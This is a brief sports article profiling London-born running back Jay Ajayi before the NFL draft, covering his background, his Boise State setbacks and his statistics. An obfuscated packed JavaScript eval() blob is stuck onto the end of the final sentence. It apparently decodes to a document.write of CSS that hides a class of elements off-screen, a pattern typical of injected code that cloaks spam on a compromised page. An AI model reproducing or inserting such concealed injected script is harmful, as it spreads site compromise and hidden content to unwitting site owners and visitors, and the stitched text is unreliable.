While the likes of Melvin Gordon and and Todd Gurley headline a talented running back draft corps, keep an eye out for London-born Jay Ajayi.
He’s a physical workhorse who reckons he’s the most complete back in the draft, combining receiving skills with pass protection and the ability to run inside or outside.
The Arsenal fan moved to Texas aged seven and dreamed of playing for Nigeria, but chose American football over soccer in his junior year of high school.
He headed to Boise State in 2011 but Ajayi’s redshirt freshman season was an eventful one, featuring an arrest for stealing sweatpants and an horrific ACL tear a week later.
He was almost dismissed, but battled back from adversity to earn a starting spot in 2013.
Affectionately known as the ‘Jay-Train’, Ajayi enters Thursday’s draft after a junior season which yielded 32 touchdowns and 1,823 rushing yards, while he caught 50 passes for 535 yards.
At 6ft 0in, and weighing in at 221lbs, Ajayi is predicted to be picked in either the second or third round, despite long-term concerns about his knee and ball protection.
He has been interviewed by the Atlanta Falcons, San Francisco 49ers, Minnesota Vikings and Jacksonville Jaguars – who just happen to be playing in London in November.
And after making his first return to his homeland since 2000 last week, could Ajayi make another trip across the pond to play at Wembley? eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))